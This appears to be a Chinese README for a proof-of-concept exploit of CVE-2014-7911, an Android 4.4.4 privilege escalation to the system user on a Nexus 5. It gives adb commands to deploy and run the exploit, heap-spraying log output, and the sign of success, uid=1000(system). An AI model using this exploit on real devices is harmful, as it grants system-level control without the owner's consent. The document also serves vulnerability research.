CVE-2014-7911

基于 retme7 的 Nexus5 Android 4.4.4_r1 上的 CVE-2014-7911 POC，使用了不同的 ROP 链

信息

http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html

用法

通过 adb 连接你的手机

adb push jni/expolit /data/local/tmp
adb logcat | grep auo_

启动此 POC，点击“CVE-2014-7911”按钮，你会看到：

D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900

然后多次最小化活动，直到系统崩溃。如果你看到：

D/auo_exploit(22665): uid=1000(system) gid=1000(system)

则利用成功。如果你的手机只是崩溃，你的设备存在漏洞，但利用可能失败了（你应该找到不同的 ROP 链）。